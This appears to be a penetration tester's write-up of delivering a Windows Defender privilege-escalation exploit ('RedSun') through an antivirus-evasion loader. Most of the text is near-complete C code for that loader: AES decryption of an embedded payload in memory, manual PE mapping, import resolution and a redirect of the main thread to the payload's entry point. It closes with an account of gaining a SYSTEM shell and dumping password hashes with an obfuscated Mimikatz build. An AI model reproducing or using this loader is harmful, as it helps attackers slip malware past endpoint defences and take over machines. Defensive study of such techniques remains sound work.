Context: What is RedSun?
During a penetration test engagement I exploited CVE-2026-41091, nicknamed RedSun a Local Privilege Escalation vulnerability in Microsoft Windows Defender's cloud file rollback mechanism. The exploit chain allows a standard authenticated user to escalate directly to NT AUTHORITY\SYSTEM.
The attack abuses 3 Windows primitives chained together:
- Cloud reputation metadata : Defender triggers a file rollback when it sees a cloud-tagged file.
- NTFS junction + opportunistic lock abuse : the attacker controls where Defender writes during the rollback.
- Storage Tiers COM hijack :
TieringEngineService.exeis substituted with a malicious payload, redirecting the privileged write intoC:\Windows\System32.
Because Defender runs with SYSTEM privileges, the overwritten binary is executed in a fully elevated context, granting a SYSTEM shell from a low-privileged account.
The Problem : Static PE Detection
Static detection operates on the on-disk representation of a PE file. When a known-malicious executable is written:
- The on-access scanner intercepts the file write at the filesystem driver level.
- It matches byte patterns / hashes against a signature database.
- The file is quarantined or deleted before execution ever starts.
No amount of runtime behaviour matters, if the bytes on disk are recognisable, the game is over before it starts. The solution is to ensure no cleartext PE ever touches the filesystem.
AES Encryption and Local Hollowing
Local Process Hollowing (self-injection hollowing) replaces the current process's execution context in memory with a secondary payload, entirely without writing a decrypted binary to disk. Combined with AES encryption of the embedded payload, the loader binary contains only ciphertext (zero recognisable signatures).
Implementation
Entry Point : main()
The loader's main is deliberately thin. Its only job is to acquire a real, transferable handle to the main thread and hand it to Doit.
Why duplicate?GetCurrentThread()returns a pseudo-handle which is a constant meaningful only within the calling thread. ToSuspendThreadandSetThreadContexton the main thread from a different thread, we need a real kernel handle.DuplicateHandlewithDUPLICATE_SAME_ACCESSproduces one.
int main() {
// GetCurrentThread() returns a pseudo-handle wich is valid only for the calling thread.
HANDLE pseudoHandle = GetCurrentThread();
HANDLE realHandle;
// Transferable handle with identical access rights.
if (!DuplicateHandle(
GetCurrentProcess(), pseudoHandle,
GetCurrentProcess(), &realHandle,
0, FALSE, DUPLICATE_SAME_ACCESS)) {
printf("[-] Failed to duplicate handle.\n");
return 1;
}
// Spawn Doit thread, passing the real main-thread handle.
HANDLE thread = CreateThread(
NULL, 0, (LPTHREAD_START_ROUTINE)Doit, &realHandle, 0, NULL);
// Block until Doit finishes (hollowing complete, main thread resumed).
WaitForSingleObject(thread, INFINITE);
CloseHandle(thread);
CloseHandle(realHandle);
return 0;
}
Step 1 : Suspend the Main Thread
The first action of Doit is to halt the main thread so no further instructions execute while mapping is in progress.
// Received as argument: real handle to main thread
HANDLE mainThreadHandle = *(HANDLE*)lpParam;
SuspendThread(mainThreadHandle);
printf("[+] mainThread suspended\n");
Step 2 : AES Decrypt the Payload
The RedSun PE is stored as an AES-256 encrypted byte array embedded in the loader. Decryption happens entirely in heap memory, nothing is written to disk.
// Embedded ciphertext blob (compiled into the binary as a byte array)
extern const unsigned char encPayload[];
extern const size_t encPayloadLen;
BYTE aesKey[32] = { /* 256-bit key */ };
BYTE aesIV[16] = { /* 128-bit IV */ };
BYTE* decBuf = NULL;
size_t decLen = 0;
AES_CBC_Decrypt(encPayload, encPayloadLen, aesKey, aesIV, &decBuf, &decLen);
printf("[+] Decrypted\n");
Steps 3–6 : Manual PE Mapping
decBuf now holds a valid PE image in heap memory. We manually map it at a freshly allocated virtual address.
// Read PE metadata
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)decBuf;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(decBuf + dos->e_lfanew);
printf("[+] The PE file is valid.\n");
printf("[+] PE data : 0x%016llX\n", (ULONG_PTR)decBuf);
// Allocate virtual memory for the mapped image
LPVOID imageBase = VirtualAlloc(
(LPVOID)nt->OptionalHeader.ImageBase,
nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// Fall back to any address if preferred base is occupied
if (!imageBase)
imageBase = VirtualAlloc(NULL, nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Map headers
memcpy(imageBase, decBuf, nt->OptionalHeader.SizeOfHeaders);
// Map sections
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
LPVOID dst = (LPVOID)((ULONG_PTR)imageBase + sec->VirtualAddress);
LPVOID src = (LPVOID)((ULONG_PTR)decBuf + sec->PointerToRawData);
memcpy(dst, src, sec->SizeOfRawData);
}
// Apply base relocations
ULONG_PTR delta = (ULONG_PTR)imageBase - nt->OptionalHeader.ImageBase;
if (delta != 0) {
PIMAGE_DATA_DIRECTORY relDir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)((ULONG_PTR)imageBase + relDir->VirtualAddress);
while (reloc->VirtualAddress) {
WORD* entry = (WORD*)(reloc + 1);
DWORD count = (reloc->SizeOfBlock - sizeof(*reloc)) / sizeof(WORD);
for (DWORD j = 0; j < count; j++) {
if ((entry[j] >> 12) == IMAGE_REL_BASED_DIR64) {
ULONG_PTR* patch = (ULONG_PTR*)(
(ULONG_PTR)imageBase + reloc->VirtualAddress + (entry[j] & 0xFFF));
*patch += delta;
}
}
reloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)reloc + reloc->SizeOfBlock);
}
}
// Resolve IAT
PIMAGE_DATA_DIRECTORY impDir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR imp =
(PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)imageBase + impDir->VirtualAddress);
while (imp->Name) {
LPCSTR dllName = (LPCSTR)((ULONG_PTR)imageBase + imp->Name);
HMODULE lib = LoadLibraryA(dllName);
PIMAGE_THUNK_DATA thunk =
(PIMAGE_THUNK_DATA)((ULONG_PTR)imageBase + imp->FirstThunk);
while (thunk->u1.AddressOfData) {
if (!(thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) {
PIMAGE_IMPORT_BY_NAME ibn =
(PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)imageBase + thunk->u1.AddressOfData);
thunk->u1.Function = (ULONG_PTR)GetProcAddress(lib, ibn->Name);
} else {
thunk->u1.Function =
(ULONG_PTR)GetProcAddress(lib, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));
}
thunk++;
}
imp++;
}
Step 7 : Redirect Entry Point & Resume
With the image fully mapped and imports resolved, we redirect the suspended main thread's instruction pointer to the payload's entry point, then resume it.
// Redirect main thread instruction pointer to the mapped EP
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(mainThreadHandle, &ctx);
ULONG_PTR ep = (ULONG_PTR)imageBase + nt->OptionalHeader.AddressOfEntryPoint;
ctx.Rcx = ep; // first argument (RCX convention on x64)
ctx.Rip = ep; // instruction pointer
SetThreadContext(mainThreadHandle, &ctx);
// Resume main thread now executes RedSun entry point
ResumeThread(mainThreadHandle);
Execution Flow Summary
| # | Function | Purpose |
|---|---|---|
| 1 | DuplicateHandle() | Convert pseudo-handle => real transferable handle to main thread |
| 2 | CreateThread(Doit) | Spawn hollowing worker; main thread calls WaitForSingleObject |
| 3 | SuspendThread() | Halt main thread; no instructions execute during mapping |
| 4 | AES_CBC_Decrypt() | Decrypt embedded ciphertext => valid PE image, heap only |
| 5 | VirtualAlloc() | Allocate RWX region sized by SizeOfImage |
| 6 | memcpy() × N | Map PE headers + each section at their respective Virtual Addresses |
| 7 | Relocation loop | Patch all absolute addresses by delta = actual - preferred |
| 8 | LoadLibrary / GetProcAddress | Resolve every imported function; write real addresses into IAT |
| 9 | SetThreadContext() | Overwrite RIP with imageBase + AddressOfEntryPoint |
| 10 | ResumeThread() | Main thread resumes; executes RedSun EP as the loader's identity |
Result
The loader (HarryPotter.exe) was delivered to the target host. On execution :
- The AES-encrypted payload was decrypted in heap memory (no cleartext PE ever written to disk).
- Windows Defender detected the EICAR test file used as bait, triggering the cloud rollback mechanism as the exploit intends.
- A new
conhost.exeshell was spawned as NT AUTHORITY\SYSTEM (S-1-5-18). - Local password hashes were extracted from the SYSTEM shell using an obfuscated Mimikatz build, confirming full host compromise.
Key Takeaways
- Static detection is signature-driven against the on-disk PE representation. AES ciphertext has no matchable pattern.
- Local Hollowing keeps the decrypted payload entirely in memory (no temp files, no disk writes of the plaintext PE).
- Manual PE mapping is foundational: DOS/NT headers, section table, relocation directory, and IAT are the four structures you must fully understand.
- The
DuplicateHandle => SuspendThread => SetThreadContext => ResumeThreadpattern is a clean in-process redirect that avoids spawning any detectable child process. - The technique works precisely because Defender's own remediation write is the privilege vector (the loader simply needs to survive long enough to trigger it.)
References
- RedSun PoC — github.com/Nightmare-Eclipse/RedSun
- MSRC — CVE-2026-41091
- Picus Security : BlueHammer & RedSun Explained
- MITRE ATT&CK — T1055: Process Injection
- MITRE ATT&CK — T1574: Hijack Execution Flow
- MITRE ATT&CK — T1548: Abuse Elevation Control Mechanism
- Microsoft — PE Format Reference
- Certified Evasion Techniques Professional (CETP)